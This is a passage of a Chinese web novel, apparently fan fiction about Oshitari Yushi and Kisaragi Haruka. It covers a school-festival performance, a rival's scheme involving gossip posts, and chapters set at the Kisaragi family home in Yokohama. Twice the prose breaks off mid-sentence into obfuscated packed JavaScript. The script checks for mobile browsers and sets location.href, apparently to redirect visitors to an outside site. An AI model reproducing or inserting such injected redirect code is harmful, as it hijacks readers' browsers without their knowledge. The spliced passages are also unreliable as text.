“作为忍足的朋友,我应该做的。” 忍足侑士:“……” 一口老血差点喷出来。 大小姐可真会给自己脸上贴金啊! 这顺杆爬的本事简直炉火纯青! 神经大条的惠里奈完全没察觉到弟弟的郁卒和父亲微妙的变化。 自来熟的性格,热情地上前,亲昵地就想挽住如月遥的手臂:“哎呀,如月小姐别这么客气!叫我们名字就好!” “不然家里四个人都姓忍足,你叫‘忍足’我们都不知道喊谁呢!不如……” “你就叫他‘小侑’吧!多亲切!” 小侑。 这个称呼如同平地惊雷,忍足还没来得及抗议,就看到姐姐那只“魔爪”伸向如月遥的胳膊。 他太清楚如月对肢体接触的排斥了,尤其是不熟悉的人! 几乎是条件反射,在姐姐的手即将碰到如月衣袖的前零点一秒,眼疾手快地把自家不知死活的姐姐从如月遥身上“撕”了下来,动作迅速得堪称“救火”。 “姐!”他声音都拔高了一个调,带着明显的惊慌和警告。 如月遥的身体在惠里奈靠近时确实瞬间僵硬了一下,那是一种近乎本能的抗拒。 此刻被忍足及时拉开,她紧绷的身体才微微放松。 她带着毫不掩饰的古怪和浓重玩味地,锁定了忍足侑士那张写满了尴尬和羞耻的脸。 红唇微启,刻意拉长了语调: “小…侑?” 仿佛在细细品味着这个称呼的每一个音节,充满了戏谑和“我抓到你把柄了”的得意。 轰——!!! 忍足侑士只觉得一股滚烫的热血“嗡”地冲上头顶,瞬间从脖子根红到了耳尖。 小侑。 这个幼稚、肉麻、只有家人在他小时候才会叫的昵称。 本来被家人叫他就浑身不自在,现在竟然被如月遥用这种打趣的、仿佛发现了新大陆的眼神和语调叫出来。 简直是公开处刑,大型社死现场。 他恨不得立刻挖个地洞钻进去,或者原地消失。 为了拯救自己濒临崩溃的尊严,也为了阻止姐姐再做出什么“危及生命”的举动,忍足侑士当机立断。 “啊!那个!时间快到了!” 他声音急促,语无伦次,一把抓起如月遥的小手提包,另一只手几乎是半推半揽地将还没完全反应过来的如月遥往自己身侧一带。 朝着自家三位看戏看得津津有味的亲人,飞快地挤眉弄眼,强行镇定: “父亲!母亲!姐姐!你们……你们随意逛!玩得开心!” “我们要去舞台区踩点了!很重要!我们先走一步。” 话音未落,几乎是半抱着身体微僵的如月遥,以一种落荒而逃的姿态,拨开人群,头也不回地消失在了人潮汹涌的学园祭会场深处。 只留下忍足家三人站在原地。 惠里奈终于忍不住,模仿着如月遥刚才的语调,“小…侑…?” “噗哈哈哈哈……这下可有好戏看咯!” 68. 第 68 章 忍足侑士几乎是拖着如月遥一路狂奔,逃离了那令他社死的“修罗场”。 两人穿过喧闹的人群,跑过彩旗招展的摊位,最终在相对安静的银杏大道停下脚步。 金黄的扇形叶片如同碎金般铺满小道,在秋日的阳光下闪烁着温暖的光泽。 忍足微微喘息,脸上带着剧烈运动后的红晕,但更明显的是那种被当众叫了小名的窘迫表情。 抬手扶了扶有些滑落的眼镜,试图平复呼吸和心跳。 如月遥看着眼前难得狼狈又羞赧的忍足,没有放过这个“痛打落水狗”的机会,故意促狭,再次清晰地吐出: “小……侑?” 欣赏着他瞬间僵硬的反应,才慢悠悠地问道: “怎么不跑了?” 忍足只觉得耳根刚褪下去的热度“噌”地又涌了上来,眼眸里满是羞恼和哀求: “大小姐!” 双手合十,做告饶状,“求放过……真的!别调侃了!” 这种公开处刑再来一次,他真的会原地蒸发! 如月遥看着他这副手足无措、恨不得挖个地洞钻进去的样子,眼底的笑意更深了些,语气却装得很无辜:“没调侃啊。” “小侑……” 她刻意又清晰地重复了一遍,然后微微颔首,像是在品味:“挺好听的。” 忍足想把脸埋进旁边堆积的银杏叶里。 “不好听……”嘟囔着抗议,声音闷闷的,羞耻感爆棚。 “好肉麻的小名…从小到大,姐姐就爱这么叫我……” 平日里总是优雅沉稳、仿佛一切尽在掌握的忍足,此刻因为一个小小的昵称而窘迫得像个被踩了尾巴的大型犬。 这样真实、鲜活、甚至有点孩子气的忍足,让她觉得很有趣。 想到他那位热情开朗、有点脱线的姐姐,还有刚才那对虽然性格迥异但明显对他充满关爱的父母,一股极淡的暖意,悄然掠过心头。 “你挺幸福的……” 她的目光投向远处在阳光下闪着金光的银杏树冠: “家里人都很好。” 忍足感受到了她语气里那丝极淡的、近乎羡慕的情绪,以及话语背后的潜台词。 银杏叶在风中轻轻摇曳,发出沙沙的轻响。 金色的光影斑驳地洒在两人身上,带着一种让人想要敞开心扉的宁静。 忍足犹豫了一下,最终还是试探地轻声问道: “那你的父母呢?是什么性格?” 他想要了解她过去、走进她世界。 或许是因为阳光太温暖,或许是因为脚下银杏叶触感太温柔,或许是因为眼前这个刚刚还窘迫得面红耳赤的男人,此刻的眼神太过小心翼翼。 也或许是因为那句“家里人很好”,触动了她心底尘封已久的某个角落。 如月遥沉默了很久。 久到忍足以为她不会回答,甚至开始懊恼自己是不是问得太唐突时。 她才极其平静地开口,像是怕惊扰了什么,又像是穿透了漫长的时光。 “他们已经过世了。” 毫无波澜得像是在陈述一个与己无关的事实。 “只是为了家族稳定,在日本这边没有公开罢了。” 仿佛陷入了回忆,她眼眸里映着金黄的光影,却显得有些空茫。 “父亲很爱母亲。” “但是母亲在我很小的时候就意外过世了。” 她微微停顿,像是在平息某种汹涌的情绪,声音低了下去,“父亲受不了打击。” “殉情而去。” 殉情而去。 这四个字如同冰锥,刺穿了平静的表象,忍足抑制不住的心疼。 这是她第一次向他袒露这样沉重私密的过往。 怪不得…… 怪不得她周身总是萦绕着一种远超同龄人的孤寂和强大。 怪不得她习惯了独来独往,习惯了掌控一切,习惯了用冰冷坚硬的外壳将自己层层包裹。 失去父母,只留下年幼的她,在庞大的需要继承的家业漩涡中,独自面对来自家族长辈的审视培养,甚至是严苛到近乎残酷的训练。 她小小的世界里,没有温暖的怀抱,没有慈爱的叮咛。 疼的时候,只能自己咬牙忍着。 害怕的时候,只能独自蜷缩。 所有的柔软和依赖,大概在很早很早以前就被迫冻结在了心底最深处。 只留下坚硬的冰层,支撑着她一路走到现在。 原来冷若冰霜、拒人千里的性格是这样养成的。 忍足站在她身旁,金色的银杏叶在他们周围无声飘落。 他没有说话,没有试图安慰,只是站得更稳了些,无声地为她隔开一片安静又安全的空间。 此刻,任何的言语都显得苍白。 他只想让她知道,他在听。 他一直都在。 终于明白了,明白了为什么在轻井沢的教堂前,众人讨论到为爱生死相随时,她的反应会如此冰冷。 深藏的尖锐痛楚,原来根植于此。 “殉情……” 像淬了冰的刀锋,清晰地剖开血淋淋的过往,“成全了他们轰轰烈烈的爱情……” “却留下我一个。” 她的指尖捻起一片飘落的银杏叶,金黄的叶片在她纤细的指间显得脆弱而单薄。 “我又何其无辜?” 她的话语很轻,却带着千钧的重量砸在忍足的心上。 “小时候我是恨他的。” “恨他的软弱,恨他的不负责任。” 恨他为了那份逝去的爱,毫不犹豫地抛弃了还那么小的她。 恨他让她在懵懂无知时,就背负上了“被抛弃”的烙印。 “但后来时间太久了……” 久到记忆中父母的容颜都开始褪色模糊,只剩下几个零星的、不甚清晰的片段。 久到那份曾经汹涌的、支撑着她度过冰冷童年的恨意,也在日复一日的严苛训练中,悄然消散。 “久到,连恨都显得多余了。” 她松开手,那片金黄的银杏叶打着旋儿,轻轻飘落在地上。 眼神重新变得锐利,仿佛刚才那一瞬间的脆弱只是错觉。 “我在日复一日的训练里长大。” “也明白了只有强大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526670|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才能让人臣服。” 被剥夺了童年的无忧,被灌输了最严苛的规则,被逼着在最短的时间内成长为最坚固的堡垒。 她的声音陡然变得冷硬,这是用血泪换来的生存法则。 “父亲抛下了我……” “却也阴差阳错,成就了我的强大。” 残酷又理智。 “因果缘分。” “颇有意思。” 忍足才明白她这份“强大”背后,是怎样的千疮百孔。 轻声开口,安抚她:“爱到愿意殉情,也是极为难得了。” 试图寻找一个能让她接纳过去的切入点,“你,是他们爱情的结晶。” 他小心翼翼地强调着这一点,希望她能看到那份爱中属于她的光亮。 如月遥的目光倏地转向他,近乎残忍的追问:“那你呢?” “你会……殉情吗?” 这个问题来得如此突然而直接,充满了她特有的不给人丝毫喘息余地的锋利。 忍足沉默。 这个问题太重了,重到他无法轻易给出任何轻率的答案。 “不知道。” 他坦诚自己的迷茫。 “或许…理智会让我学会接受。” 作为医者,生离死别,理论上理解这是生命必然的过程。 “但是情感上……” “失去挚爱的那种感觉……” “应该就好像灵魂被生生割裂了一块。” “是极致痛苦的吧。” 最终他给出了一个严谨却无奈的答案。 “从医学角度来说,面对这种程度的痛苦,人会做出什么反应……都是可以被理解的。” 微风拂过,几片银杏叶打着旋儿,轻盈地落在她肩头。 忍足下意识伸手,轻轻拂去了她肩头的落叶。 身体在他指尖触碰到肩头衣料的瞬间僵硬了一下。 斜睨着他,唇角勾起一丝似笑非笑的弧度,熟悉又胁的调侃:“忍足……” “最近……胆子很大啊?” 目光扫过他那只刚刚拂过她肩膀的手。 “老是对我动手动脚的?” 忍足的脸上却没有任何做错事的慌张,反而站直了身体,单手抚胸,微微躬身,做出了一个极其绅士的动作。 “大小姐误会了。” “照顾好大小姐的方方面面,确保你时刻处于最佳状态……” “是我的职责。” 最后又补充了一句,清晰的宣告: “毕竟我可是以成为大小姐的专属私人医生为终身奋斗目标的。” 如月遥:“……” 这家伙…… 真是…… 越来越会蹬鼻子上脸了。 轻哼了一声,懒得再看他耍嘴皮子,朝着银杏大道的另一端走去,金色的落叶在她脚下发出细碎的轻响。 看着她带着点落荒而逃意味的背影,刚刚关于殉情的沉重气氛,都在他的调侃下一扫而空。 阳光穿过金色的叶隙,在他们身上投下温暖的光斑。 脚下的路还很长。 69. 第 69 章 学园祭的压轴大幕,终于在万众瞩目中缓缓拉开。 舞台已化作了梦境与现实交织的画卷。 深蓝色的幕布作为无尽的天幕,其上点缀着如碎钻般的星光投影。 舞台中央,精心布置的园林造景若隐若现,如月华般的追光灯打下,将两抹身影清晰地勾勒出来。 忍足一身海蓝,衣襟袖口的银线云纹在灯光下流淌着光泽。 肩头蝴蝶如同沉睡在夜色中的幻影。 长身玉立,下颌微微抬起,肩托着小提琴,手指稳稳地搭在琴弦上。 如月遥一袭冰银,衬得她肌肤胜雪,衣摆和领口的竹叶暗纹若隐若现。 长发自然垂落,更添清冷出尘。 抱着琵琶,玉指虚按,肩头那只蝴蝶,在光影下流转着琉璃般的剔透感。 深海与明月。 东方与现代。 两种截然不同的气场却奇妙地融合,构成一幅令人屏息的绝美画卷。 台下,人山人海,却寂静无声。 所有的目光,都被这舞台中央的两人牢牢攫取。 忍足深吸一口气,目光温柔地掠过身旁的身影,随即敛下心神,琴弓优雅地抬起,落下。 悠扬而略带哀婉的小提琴声如同潺潺溪流,流淌而出。 旋律温柔缱绻,带着初遇的悸动和春日草桥的明媚,缓缓铺开了那段流传千古的浪漫爱情的序幕。 音符跳跃,如同梁山伯深情的低语,诉说着相遇的美好和心动的萌芽。 忍足闭上了眼睛,仿佛沉浸在那段属于“他”的故事里。 随着旋律的推进,情感的铺垫愈发浓郁。到了一个婉转深情的转折处,如月遥指尖在弦上轻轻一拨—— “铮——” 清越空灵的琵琶音,如同空谷幽兰绽放,又如玉石相击,加入了小提琴的诉说。 独特的东方韵味,清泠婉转,带着祝英台的含蓄与坚定。 时而如山涧清泉,潺潺流淌;时而如疾风骤雨,带着压抑的爆发力。 小提琴如泣如诉,琵琶刚柔并济,开始交织缠绕对话。 音乐带着听众的心绪起伏。 从草桥结拜的欢快默契,到十八相送的不舍缠绵。 乐声里,仿佛能看见楼台之上,两人执手相看泪眼,欲语还休的无奈与悲凉。 终于,音乐推进到最悲壮、也最华美的篇章——化蝶。 小提琴的旋律骤然拔高,如同杜鹃泣血,充满了不甘的抗争与撕心裂肺的痛苦,琴弓在弦上激烈地跳跃震颤,每一个音符都如同裹着血泪的控诉。 与此同时,琵琶的铮鸣陡然变得高亢而激越,如同银瓶乍破,玉石俱焚般的决绝。 轮指如疾风骤雨,嘈嘈切切,仿佛祝英台在惊天动地地向命运发出最凄厉的质问。 旋律不再婉约,充满了震撼人心的力量感,如同凤凰在烈火中发出不屈的悲鸣。 就在乐曲达到最高潮、爱与恨、生与死激烈碰撞的瞬间—— 舞台的灯光特效骤然发生了变化。 肩头那两只蝴蝶,在精密的微型传动装置驱动下,如同被注入了生命,薄如蝉翼的翅膀开始轻盈而灵动地微微颤动起来。 紧接着,全息投影技术被激活。 无数只由光影构成的、色彩斑斓的蝴蝶凭空出现,它们围绕着两人翩然飞舞。 光影蝴蝶越来越多,如同被音乐召唤而来,汇成两条梦幻的光带,旋转升腾。 然后,它们挣脱了舞台的束缚,如同挣脱了世俗的牢笼,纷纷扬扬地朝着观众席飞去。 点点流光如同星屑,洒向台下惊愕又沉醉的观众。 光影蝴蝶在人们的头顶盘旋飞舞,将那份化蝶双飞的凄美带到了每个人的身边。 琴声与琵琶声在最高亢处并未戛然而止,而是缠绵回旋着,如同恋人之间最后的低语与诀别。 无尽的眷恋,不灭的希望,缓缓悠长…… 最终,归于寂静。 舞台陷入黑暗。 所有飞舞的蝴蝶在乐曲终结的刹那,如同完成了使命,纷然消散。 绝对的寂静,仿佛连呼吸都停滞了。 然后—— 如同积蓄已久的火山猛烈爆发,雷鸣般的掌声、震耳欲聋的欢呼、难以置信的赞叹如同海啸般席卷,声浪几乎要掀翻屋顶。 光芒重新亮起。 二人并肩站在舞台中央,微微躬身,向台下致敬。 俊男美女,风华绝代。 台下无数闪光灯疯狂闪烁,如同银河倾泻,记录下这震撼人心的一幕幕。 他们是东大学园祭当之无愧的、最耀眼的星辰。 孟远独自坐在观众席靠后的位置,舞台耀眼的光芒在他脸上投下明明灭灭的光影。 在雷鸣般的掌声中时,他唇角勾起冰冷又笃定的笑意。 指尖在手机屏幕上飞快发送出一条简短的指令: 【引爆。】 后台成了欢乐的海洋。 工作人员穿梭,祝贺声、笑声不绝于耳。 迹部抱着手臂,眼眸落在刚走下台的忍足身上,带着调侃却也饱含赞赏。 “啊嗯?终于如愿以偿了?满意了?” 忍足脸上还带着与如月合奏的满足感,眼眸亮得惊人,毫不犹豫地点头:“非常完美!多谢了!” 迹部微微颔首,但随即敏锐的目光扫过台下,眉宇蹙起:“表演是很顺利。不过……” “台下那些闪光灯,多得有点反常。” 忍足正沉浸在喜悦中,闻言有些不解:“嗯?” 迹部指尖轻轻点了点自己的太阳穴,“本大爷安排的媒体名单里,没有这么多人。” “很多生面孔,像是…闻风而至的鬣狗。” “总觉得,像是有人刻意安排的。” 迹部的疑虑如同投入大海的石子,并未在忍足心中激起太大波澜。 随意应了声,“是吗?可能是大小姐人气太高了。” 孟远的身影出现在了后台。 他脸上带着惯常的笑容,目标明确地朝着如月遥走去。 “阿遥,”声音温和,真诚赞美,“演奏得太精彩了,堪称完美。” 自然地走到如月遥旁边,看她拆着肩膀上的蝴蝶装饰。 “外面那些闪光灯,都快把相机闪爆了~” 忍足看到孟远靠得那么近,心头那点因演出成功而升腾的喜悦泡泡被戳破,眉头微蹙,正要走过去。 孟远却仿佛没看到忍足的不满,继续说道,“今天这场面太火爆了,校内论坛都引爆好几个热帖了。阿遥你要不要看看?” 论坛。 这两个字如同精准投入神经中枢的炸弹。 脚步顿在原地,忍足警铃大作。 那些论坛帖子,那些铺天盖地、捕风捉影、将他与如月遥描绘得暧昧不清、甚至直接盖章“恋情”的帖子。 如果…… 如果被她本人看到。 以她厌恶被人议论、尤其是私下非议的性子…… 忍足瞬间就猜到了孟远的意图。 这家伙是故意的! 他就是要在这成功的顶点,引爆这个巨大的隐患。 孟远根本不给他任何阻止的时间。 “喏,你看这个帖子,讨论度最高。” 孟远动作快如闪电,手指在屏幕上飞快滑动几下,直接将屏幕递到了如月遥的面前,点开那个标题赫然写着: 【深海明月绝美合璧!忍足如月恋情石锤!】 屏幕上密密麻麻的文字和配图,正是他们在后台或校园里被偷拍的各种“同框照”。 孟远贴心地火上浇油:“东大论坛真是人才济济,讨论得可热闹了。” “忍足君,你也经常看吧?” 他状似无意地将话题抛给忍足。 “咳!”一旁的迹部景吾立刻察觉到危机。 眼眸锐利,声音带着警告,“论坛向来是学生闲聊的地方,捕风捉影居多,当不得真。” 忍足立刻接过迹部的话头,试图将事情轻描淡写地掩盖过去,声音尽量平稳。 “是啊,都是一些无聊的八卦臆测。没想到孟君…对这种消遣感兴趣?” 他的目光紧紧盯着如月遥的脸,试图从那张平静的容颜上读出任何情绪。 闻言,孟远嘴角的笑容加深了几分,声音依旧温和却如同淬毒的针尖,精准地刺破了二人试图维持的平静假象。 “闲聊也确实很有趣啊。” “不看的话怎么会知道,原来我们阿遥……” 他刻意停顿了一下,欣赏着忍足瞬间紧绷的表情。 “已经被人盖章‘名花有主’了呢?” 名花有主。 忍足所有的欲盖弥彰和侥幸心理被撕开。 如月遥的目光终于从孟远的手机屏幕上抬起。 没有愤怒,没有羞恼,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看着忍足写满了慌乱的脸,唇角缓缓勾起弧度,甚至带着点怜悯。 “这局。” “我赢了。” 盖棺定论。 他背着琴盒,步履沉稳地离开了这片弥漫着无形硝烟的后台。 将所有的寂静愕然、以及忍足那颗沉入谷底的心,都远远地甩在了身后。 如月宅邸的书房内 孟远汇报完毕,将平板电脑轻轻放在书桌上。 “都安排好了,几家重量级媒体和线上平台同步发力,标题和侧重点各有不同,但核心都是突出这次演出的惊艳和你的风采。” “保证铺天盖地,热度会持续发酵一段时间。” 如月遥坐在扶手椅里,背对着光线,面容在阴影中显得有些模糊。 唯有指尖在扶手上轻轻敲击的细微声响,透露出她在思考。 “嗯,热度越高越好。我在日本玩得越开心,他们才会放松警惕,才会觉得有机可乘。” 孟远应了声“明白”。 他拉开椅子坐下,不由自主地看着如月遥。 从学校回来之后,她还是一如既往的平静,论坛的事在忍足心里掀起惊涛骇浪,在如月这里却好似什么都没发生一样。 孟远有点捉摸不透。 今天的行为,他确实是想将忍足踢出局。 忍足很好,优秀帅气,家世显赫,是每个女人都会选择的优质对象。 但如月遥不是一般人,他们在密谋的事,是在刀尖上跳舞。 擅自决定用这个机会将忍足和如月遥划开,他的心里也是忐忑的。 阿遥一向不喜欢别人多事。 似乎是猜测到了孟远的想法,如月遥只是低头拿起水杯抿了一口。 “少做无聊的事。” “专注于计划。” 她的声音不高,像冰冷的玉石落在桌面。 却兜头浇灭了孟远所有试图探知她内心想法的念头。 孟远心头一凛,“知道了。” 回到自己房间。 白日里刻意维持的冷静疏离似乎卸下了一些。 看着外面庭院里精心修剪却显得有些冷漠的景致,片刻后,才踱步到床边坐下。 手机屏幕亮起,光映着她的脸。 屏幕上,是忍足发来的最后一条信息,时间显示在几个小时前: 【大小姐,请给我一个解释的机会。我们可以见面谈谈吗?无论时间地点,我都等你。】 指尖无意识地在那条信息上停留了片刻。 如月皱眉。 就在这时,握在掌心的手机突然震动起来,屏幕亮起刺目的光。 “哥。” 声音在寂静的房间里响起,比平时似乎更低了几度。 70. 第 70 章 如月遥刻意切断了一切联系。 学校里请了长假,谢绝了所有不必要的社交邀约,如同人间蒸发。 而这十天里,外界关于她的报道却如同烈火烹油。 媒体铺天盖地的渲染着她学园祭舞台上的绝代风华。 “轰动东京的美貌”、“神秘东方缪斯”、“天才琵琶演奏家”…… 各种溢美之词和精心捕捉的特写镜头充斥着各大版面。 然而漩涡中心的她,却像一块投入沸水的冰,悄然无声地沉入了最深处。 忍足的信息亦如此。 道歉、恳求、担忧…… 他发了很多很多条,打过无数个电话。 从最初的焦急慌乱,到后来的惶惑不安,再到最后的卑微祈求,所有情绪都被隔绝在了她刻意设置的屏障之外,石沉大海。 他去过如月宅,没有主人的邀约自然不能进入。 只能看到孟远出现在二楼的露台,悠闲地倚着栏杆,隔着花园的距离,遥遥地朝他挥了挥手。 姿态慵懒,眼神却带着胜利者的志得意满。 忍足侑士的房间。 弥漫着浓郁的雪松冷香,是她惯用的香水同款。 仿佛只有这熟悉的气味,才能短暂地麻痹他心底那如同黑洞般不断扩大的惶恐。 重重摔进柔软的床铺里,昂贵的床垫发出沉闷的声响。 天花板的花纹在视线里扭曲模糊。 十天。 整整十天。 前所未有的煎熬。 迹部的话如同冰冷的审判,回响在耳边: 【这次是被孟远将了一军啊。惨败。】 惨败。 何止是惨败。 心像是被悬在半空中,七上八下,找不到着落点。 恐慌像藤蔓一样缠紧了他的心脏。 她一定是生气了,前所未有的愤怒…… 甚至无法想象她此刻的状态,消失得如此彻底。 连迹部动用关系去查,都只能得到“如月小姐因私人事务暂时请假”这样官方又模糊的回复。 他自作主张地瞒着她论坛那些沸沸扬扬的流言,在她眼里恐怕不仅仅是欺骗,更是对她尊严的挑衅。 指甲深深掐进掌心,尖锐的痛楚带来一丝短暂的清醒。 不能再这样下去了…… 不能就这样坐以待毙! 恐慌的尽头,是破釜沉舟的决绝。 从床上坐起,孤注一掷。 孟远最近的心情,如同东京连日的晴空,万里无云,通透敞亮。 中国的计划推进得异常顺利。 自从轰动性的演出之后,如月遥在日本的“高调现身”被媒体添油加醋地渲染。 这招果然奏效。 正如他们所料,国内势力紧绷的神经松懈了下来,开始蠢蠢欲动,自以为抓住了时机。 无形的网,正悄然收紧。 猎物已入彀,只待收网。 孟远的指尖在平板电脑上划过最新的加密汇报邮件,胜利在望。 更让他身心舒畅的是,身边少了碍眼的人。 不用再看到忍足如影随形地跟在如月身后,像条忠诚又碍事的大狗。 不用再看到如月那价值不菲的包上,挂着廉价又碍眼的丑萌毛绒挂件。 世界仿佛都顺眼了许多。 尤其是午餐时间。 餐厅人声鼎沸,孟远坐在靠窗的位置,慢条斯理地享用着午餐。 状似无意地扫过斜对角,忍足侑士独自一人坐在小桌前。 昔日优雅从容的关西天才,此刻虽然依旧脊背挺直,动作也竭力保持着惯有的节奏,但那份强装的冷静下,是掩饰不住的颓靡。 食不知味地拨弄着盘中的食物,几乎没吃进去几口。 阳光落在他身上,却驱不散眉眼间浓重的阴霾和焦虑。 那份因如月消失而引发的极度不安,透过他每一寸紧绷的肌肉传递出来。 孟远端起水杯,优雅地抿了一口水。 哎呀…… 真开心。 视野里突然闯入一个身影。 水谷雅子。 那张酷似孟瑶、带着蓬勃朝气的脸蛋上,此刻却布满了愁云焦虑。 犹犹豫豫地走到孟远的桌前,双手紧张地绞着衣角,声音带着显而易见的哭腔和急切: “孟君,请问你现在有空吗?” “我…我有点事情,想和你聊聊……” 看着这张几乎刻进骨血里的面容流露出如此无助脆弱的神情,心像是被针扎了一下,泛起细密的疼。 所有的算计瞬间被冲淡,放下了手中的餐具,声音极其轻柔,“水谷小姐请坐。怎么了?别急,慢慢说。” 水谷雅子像是抓住了救命稻草,眼圈更红了。 局促不安地坐下,语速快得像连珠炮:“是关于如月同学,我……我联系不上她了!” “之前如月同学答应我,要帮我一个很重要的忙,做我设计的新系列服装的模特!” “衣服我已经做好了,赶时间要送去国外参加一个很重要的设计比赛投稿。” “可是……可是如月突然请假之后,电话打不通,信息也不回。我托了好多好多同学老师问,都不知道她去哪里了。” “我…我实在是没办法了,才想到来问问孟君你……” “我知道这很冒昧,但是…但是……” 她越说越急,声音哽咽起来,晶莹的泪珠在眼眶里打转,泫然欲滴。 “这个比赛对我来说真的…真的太重要了!是我梦寐以求的机会!错过了我真的会后悔一辈子的!” “孟君,你知不知道她到底去哪里了?我只想拍几张照片就好,不会耽误她太多时间的!求求你了……” 那张酷似孟瑶的脸庞哭得梨花带雨,如同重锤狠狠击打在孟远的心尖上。 手忙脚乱地将纸巾递了过去,“别哭别哭,先把眼泪擦擦……” 他试图寻找解决方案:“这个模特的事情,不能换一个人吗?或者……” “不行的!”水谷雅子猛地摇头,眼泪随着动作滚落下来,她胡乱地用纸巾擦拭着,语气带着艺术家的偏执。 “如月是我的灵感缪斯!是无可替代的!” “我们搞设 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看着她感激涕零的样子,内心复杂,既有对这张脸的怜惜,也有一种助人为乐的奇异满足感。 “别这样,举手之劳。快回去等消息吧,别太担心了,我会尽力的。” “谢谢!真的太谢谢你了孟君!” 水谷雅子又连声道谢了好几遍,才一步三回头、带着满心期冀和未干的泪痕离开了食堂。 看着那抹身影消失在食堂门口,孟远缓缓呼出一口气,重新坐回椅子上。 端起水杯喝了一口,试图平复心中那份因那张脸带来的震撼和承诺带来的些许责任感。 下意识地拿出手机,犹豫着要不要现在就替水谷雅子转达这个十万火急的请求。 食堂外,僻静的绿化带拐角处。 水谷雅子脸上的泪痕早已消失得无影无踪,取而代之的是完成任务后的狡黠。 阴影里,忍足侑士走了出来。 “搞定啦!”水谷雅子走到他面前,脸上绽开轻松的笑容,压低声音,“如月回横滨老家了,短时间内回不来。” “孟同学亲口说的,还拍胸脯保证会尽力帮忙转达我的请求。” 她模仿了一下孟远当时信誓旦旦的语气,带着点俏皮。 忍足紧绷了十天的神经,在听到“横滨老家”四个字时,终于得到了一个明确的着力点。 “谢谢。”他真挚地道谢,声音带着沙哑,“帮了大忙了。” 水谷雅子好奇地歪了歪头,大眼睛里闪烁着探究的光芒:“不过,忍足君你为什么那么笃定,他一定会告诉我呢?” 目光落在水谷雅子脸上,没有直接回答,微微扯动嘴角,露出一个浅淡笑容。 “我赌的。” 他赌孟远对那张脸毫无抵抗力。 赌那份深埋心底的对故人的眷恋,足以在关键时刻,冲破他引以为傲的冷静和防备。 他赌赢了。 代价是,利用了水谷雅子,也利用了孟远心底最深的伤痛。 但为了找到如月遥,他别无选择。 71. 第 71 章 深秋 横滨 庭院里几株枫树红得如同燃烧的火焰,片片红叶随风飘落,在精心打理过的庭院里铺开浓烈的色彩。 如月遥站在池边,捻着鱼食,漫不经心地撒向水中,引得锦鲤争相跃动,搅碎了一池倒映的红叶。 看着这如火如荼的秋色,脑海里浮现的却是天平山的景象。 那里的枫叶也是这般炽烈,红得缠绵悱恻,却又带着江南水乡特有的温婉多情。 思绪飘远,耳畔还回荡着大哥如月辉带着火气的咆哮。 “你看看这些新闻!铺天盖地!‘轰动东京的美貌’?‘神秘缪斯’?” “我们如月家什么时候需要这种虚名了?” “我们是极道!极道要霸气酷炫!要龇牙咧嘴!要吓得人不敢靠近!” “你长得漂亮就算了,还搞这些风花雪月,一点也不像极道!” 如月辉棱角分明的脸因愤怒而涨红,浓眉倒竖,拍得桌子砰砰作响。 他身后的早乙女管家那张万年不变的温和脸上也难得露出紧张,手虚虚地拦在如月辉和那张昂贵的红木矮几之间,生怕下一秒桌子就被掀了。 “大哥,时代变了。” 她冷静地压住他的火气,“如月家不能永远固步自封,守着现在那点基业。” “光明正大地开拓新赛道,才是长久之计。” “况且,我需要这份‘高调’。” “新赛道?哼!” 如月辉显然对这个答案嗤之以鼻,“你告诉我,突然来日本读大学,到底打的什么主意?” “你从小在中国长大,之前怎么都不肯过来,每年都是我抽空飞过去陪你几天。” “现在倒好,一声不吭就跑去东京了?你真当我是傻子?” 面对大哥的咄咄逼问,如月遥依旧八风不动:“我就是来读大学的。” “你——!” 如月辉额头青筋暴跳,早乙女管家连忙上前劝慰,用身体巧妙地隔开了暴怒的主人和脆弱的矮几。 如月家的两个孩子,一个像可能爆发的火山,一个像亘古不化的寒冰。 夹在中间的早乙女管家,像一块饱受煎熬的夹心饼干,既要护着固定财产的桌子,又要顾着主人的血压。 “大小姐。” 轻柔的女声打断了如月遥的思绪,女仆恭敬地递上一张素雅的信笺。 “有访客递上了拜帖。” 捻鱼食的动作一顿。 接过那张质地考究的拜帖,能感受到纸面细微的纹理。 展开。 没有冗长的客套,只有一行遒劲有力的墨字: 【盼能相见。忍足侑士】 字迹似乎因为用力过猛而微微洇开,透着孤注一掷的执着。 他……到横滨来了? 微微一怔,手指收紧了几分。 抬起头,望向天空。 天色不知何时阴沉下来,铅灰色的云层低低压着,带着山雨欲来的湿冷气息。 空气变得沉闷。 将拜帖合上,“带他进来。” 将手中剩余的鱼食尽数撒入池中,一点也不顾鱼的死活。 转身时的裙摆无声地拂过廊下的木质地板,朝老宅深处走去。 忍足站在如月家那扇气势恢宏的黑漆大门外。 雨点已经开始零星落下,冰冷的触感打在脸上,他却浑然不觉。 心脏每一次跳动都牵扯着紧绷了多日的神经。 盯着那扇大门,如同望着命运最后的宣判。 拜帖递进去已经很久了,久到他几乎以为,这就是拒绝。 设想过无数种可能,也做好了再次被拒之门外的准备。 拜帖上的四个字,耗尽了他所有的勇气,甚至不敢写下更多解释,生怕任何一个多余的词语都会成为被拒的理由。 就在他几乎要被深秋的冷雨浇透时,门轴发出轻响。 门,开了。 女仆对他微微躬身: “忍足先生,这边请。” 她……没有拒绝。 她让他进门了。 四肢百骸的冰冷麻木,连带着雨滴打在皮肤上的触感都变得不那么刺骨。 跟着女仆的脚步,他踏进了如月家老宅。 穿过精心布置的回廊,绕过假山流水,庭院的景致在深秋的萧瑟中透着沉静华美。 花树在细雨中摇曳,枝叶上凝结的水珠晶莹剔透。 每一步,都像是踏在云端,又像是踩在刀尖。 终于在廊下某处停住脚步,女仆躬身退开。 穿透了细密的雨帘和庭院的景深,目光落在了廊下那个端坐的身影上。 她坐在那里,简单的家居服,长发松挽,几缕碎发垂在白皙的颈侧。 手中热茶,氤氲的热气模糊了轮廓。 